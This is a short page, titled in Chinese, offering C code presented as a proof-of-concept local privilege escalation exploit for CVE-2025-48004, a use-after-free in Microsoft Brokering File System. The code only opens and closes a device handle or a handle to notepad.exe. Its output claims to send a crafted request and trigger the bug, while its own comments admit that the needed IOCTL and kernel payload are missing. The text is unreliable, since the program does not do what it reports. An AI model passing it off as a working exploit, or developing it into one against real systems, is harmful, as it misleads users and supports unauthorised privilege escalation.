CVE-2025-48004 Microsoft Brokering File System UAF本地权限提升漏洞

// CVE-2025-48004 - Microsoft Brokering File System Use After Free // PoC for local privilege escalation // WARNING: This is for educational and authorized testing purposes only #include <windows.h> #include <stdio.h> // Trigger the UAF vulnerability in Microsoft Brokering File System // by manipulating file system broker operations int main() { HANDLE hDevice; DWORD bytesReturned; BOOL result; printf("[+] CVE-2025-48004 PoC - Brokering File System UAF\n"); printf("[+] Attempting to trigger use-after-free condition...\n"); // Open a handle to the Brokering File System device hDevice = CreateFileW( L"\\\\.\\BrokeringFileSystem", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open Brokering File System device. Error: %lu\n", GetLastError()); printf("[*] Falling back to file system operations to trigger the bug...\n"); // Alternative: trigger via specific file system operations // The vulnerability can be triggered through specific I/O patterns // that cause the broker to free an object while still holding a reference HANDLE hFile = CreateFileW( L"C:\\Windows\\System32\\notepad.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile != INVALID_HANDLE_VALUE) { // Perform specific operations to trigger the UAF // Note: Actual exploitation requires kernel-level payload CloseHandle(hFile); printf("[*] File operations completed. Actual exploitation requires kernel shellcode.\n"); } } else { // Send crafted IOCTL to trigger the vulnerability // The specific IOCTL code and input buffer would need to be // determined through reverse engineering printf("[+] Device opened successfully\n"); printf("[*] Sending crafted request to trigger UAF...\n"); CloseHandle(hDevice); } printf("[+] PoC execution completed.\n"); return 0; }